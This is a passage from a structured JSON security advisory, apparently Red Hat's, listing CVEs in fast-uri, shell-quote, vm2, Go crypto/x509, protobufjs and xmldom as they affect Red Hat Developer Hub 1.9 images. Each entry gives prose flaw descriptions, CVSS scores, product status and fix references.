"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "fast-uri: fast-uri: Path traversal vulnerability allows bypass of security policies"
},
{
"cve": "CVE-2026-6322",
"cwe": {
"id": "CWE-140",
"name": "Improper Neutralization of Delimiters"
},
"discovery_date": "2026-05-05T11:01:00.332189+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2466684"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in fast-uri. A remote attacker could exploit this vulnerability by crafting a malicious Uniform Resource Identifier (URI) that contains percent-encoded authority delimiters. The fast-uri library incorrectly decodes these delimiters during normalization and then re-emits them as raw separators, which can change the URI\u0027s intended authority. This issue allows applications that perform host allowlist checks, redirect validation, or outbound request routing to be steered to a different authority than specified, potentially bypassing security controls.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "fast-uri: fast-uri: URI authority bypass due to improper delimiter handling",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This Important flaw in the `fast-uri` library allows an attacker to bypass security controls in Red Hat products that process Uniform Resource Identifiers (URIs). By crafting a malicious URI with percent-encoded authority delimiters, an attacker can cause the library to incorrectly interpret the URI\u0027s authority, potentially redirecting applications to an unintended domain. This could lead to a bypass of host allowlist checks, redirect validation, or outbound request routing.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-6322"
},
{
"category": "external",
"summary": "RHBZ#2466684",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466684"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-6322",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6322"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-6322",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6322"
},
{
"category": "external",
"summary": "https://cna.openjsf.org/security-advisories.html",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"category": "external",
"summary": "https://github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc",
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc"
}
],
"release_date": "2026-05-05T10:29:16.378000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "fast-uri: fast-uri: URI authority bypass due to improper delimiter handling"
},
{
"cve": "CVE-2026-9277",
"cwe": {
"id": "CWE-78",
"name": "Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)"
},
"discovery_date": "2026-05-22T14:01:14.427751+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2480741"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in the shell-quote component. The quote() function did not properly validate object-token inputs, allowing line terminators to pass unescaped into the output. A remote attacker could exploit this vulnerability by providing specially crafted input, which a POSIX shell would interpret as a command separator. This could lead to command injection, enabling the attacker to execute arbitrary code on the system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "shell-quote: shell-quote: Arbitrary code execution via command injection due to unescaped line terminators",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-9277"
},
{
"category": "external",
"summary": "RHBZ#2480741",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480741"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-9277",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9277"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-9277",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9277"
},
{
"category": "external",
"summary": "https://github.com/ljharb/shell-quote",
"url": "https://github.com/ljharb/shell-quote"
},
{
"category": "external",
"summary": "https://github.com/ljharb/shell-quote/commit/1518179",
"url": "https://github.com/ljharb/shell-quote/commit/1518179"
},
{
"category": "external",
"summary": "https://github.com/ljharb/shell-quote/security/advisories/GHSA-w7jw-789q-3m8p",
"url": "https://github.com/ljharb/shell-quote/security/advisories/GHSA-w7jw-789q-3m8p"
},
{
"category": "external",
"summary": "https://www.npmjs.com/package/shell-quote",
"url": "https://www.npmjs.com/package/shell-quote"
}
],
"release_date": "2026-05-22T13:22:38.873000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "shell-quote: shell-quote: Arbitrary code execution via command injection due to unescaped line terminators"
},
{
"cve": "CVE-2026-24781",
"cwe": {
"id": "CWE-653",
"name": "Improper Isolation or Compartmentalization"
},
"discovery_date": "2026-05-04T19:03:41.437468+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2466531"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in vm2, an open-source virtual machine (VM) sandbox for Node.js. This vulnerability allows an attacker to escape the sandbox environment by exploiting the `inspect` function. Successful exploitation can lead to arbitrary code execution on the host system, compromising the integrity and confidentiality of the system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "vm2: vm2: Arbitrary code execution via sandbox breakout through inspect function",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-24781"
},
{
"category": "external",
"summary": "RHBZ#2466531",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466531"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-24781",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24781"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-24781",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24781"
},
{
"category": "external",
"summary": "https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189",
"url": "https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189"
},
{
"category": "external",
"summary": "https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c",
"url": "https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c"
},
{
"category": "external",
"summary": "https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228",
"url": "https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228"
},
{
"category": "external",
"summary": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
},
{
"category": "external",
"summary": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c"
}
],
"release_date": "2026-05-04T16:33:32.869000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "vm2: vm2: Arbitrary code execution via sandbox breakout through inspect function"
},
{
"cve": "CVE-2026-32281",
"cwe": {
"id": "CWE-1050",
"name": "Excessive Platform Resource Consumption within a Loop"
},
"discovery_date": "2026-04-08T02:01:00.930989+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2456333"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Go\u0027s `crypto/x509` package. A remote attacker could exploit this by presenting a specially crafted certificate chain containing a large number of policy mappings. This inefficient validation process consumes excessive resources, which can lead to a denial of service (DoS) for applications or systems performing certificate validation.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This flaw occurs during the validation of otherwise trusted certificate chains that contain a large number of policy mappings, leading to excessive resource consumption. Exploitation requires an attacker to present a specially crafted, yet trusted, certificate chain which would require the attacker has already compromised a trusted certificate root. Red Hat continuously monitors certificate authorities and curates the set which is trusted by default for Red Hat products.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-32281"
},
{
"category": "external",
"summary": "RHBZ#2456333",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456333"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-32281",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32281"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-32281",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32281"
},
{
"category": "external",
"summary": "https://go.dev/cl/758061",
"url": "https://go.dev/cl/758061"
},
{
"category": "external",
"summary": "https://go.dev/issue/78281",
"url": "https://go.dev/issue/78281"
},
{
"category": "external",
"summary": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU",
"url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU"
},
{
"category": "external",
"summary": "https://pkg.go.dev/vuln/GO-2026-4946",
"url": "https://pkg.go.dev/vuln/GO-2026-4946"
}
],
"release_date": "2026-04-08T01:06:58.354000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 5.9,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Moderate"
}
],
"title": "crypto/x509: golang: Go crypto/x509: Denial of Service via inefficient certificate chain validation"
},
{
"cve": "CVE-2026-41242",
"cwe": {
"id": "CWE-94",
"name": "Improper Control of Generation of Code (\u0027Code Injection\u0027)"
},
"discovery_date": "2026-04-18T17:00:50.677423+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2459442"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in protobufjs, a JavaScript (JS) library used for compiling protobuf definitions. A remote attacker with low privileges can exploit this vulnerability by injecting arbitrary code into the \"type\" fields of protobuf definitions. This malicious code will then execute during the object decoding process, leading to arbitrary code execution and potentially full system compromise.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "protobufjs: protobufjs: Arbitrary code execution via injected protobuf definition type fields",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-41242"
},
{
"category": "external",
"summary": "RHBZ#2459442",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2459442"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-41242",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41242"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-41242",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41242"
},
{
"category": "external",
"summary": "https://github.com/protobufjs/protobuf.js/commit/535df444ac060243722ac5d672db205e5c531d75",
"url": "https://github.com/protobufjs/protobuf.js/commit/535df444ac060243722ac5d672db205e5c531d75"
},
{
"category": "external",
"summary": "https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956",
"url": "https://github.com/protobufjs/protobuf.js/commit/ff7b2afef8754837cc6dc64c864cd111ab477956"
},
{
"category": "external",
"summary": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.5",
"url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.5.5"
},
{
"category": "external",
"summary": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.1",
"url": "https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.0.1"
},
{
"category": "external",
"summary": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg",
"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-xq3m-2v4x-88gg"
}
],
"release_date": "2026-04-18T16:18:10.652000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "protobufjs: protobufjs: Arbitrary code execution via injected protobuf definition type fields"
},
{
"cve": "CVE-2026-41672",
"cwe": {
"id": "CWE-91",
"name": "XML Injection (aka Blind XPath Injection)"
},
"discovery_date": "2026-05-07T05:02:05.372643+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2467631"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in xmldom and @xmldom/xmldom, a JavaScript module for parsing and serializing XML. This vulnerability allows an attacker to inject malicious content into XML comments. By doing so, the attacker can prematurely close a comment and insert unauthorized XML elements into the final output. This could lead to the manipulation of data within the XML document.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "xmldom: @xmldom/xmldom: xmldom: Arbitrary XML Node Injection",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This flaw is rated as Important. The `xmldom` JavaScript module, used in various Red Hat products, is vulnerable to arbitrary XML node injection. An attacker can craft malicious XML comments to prematurely terminate a comment block and insert unauthorized XML elements, leading to data manipulation within the processed XML document. This risk is present in applications that handle and serialize untrusted XML input.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-41672"
},
{
"category": "external",
"summary": "RHBZ#2467631",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2467631"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-41672",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41672"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-41672",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41672"
},
{
"category": "external",
"summary": "https://github.com/xmldom/xmldom/commit/b397540889086da868c30c366ad5c220d1a750c7",
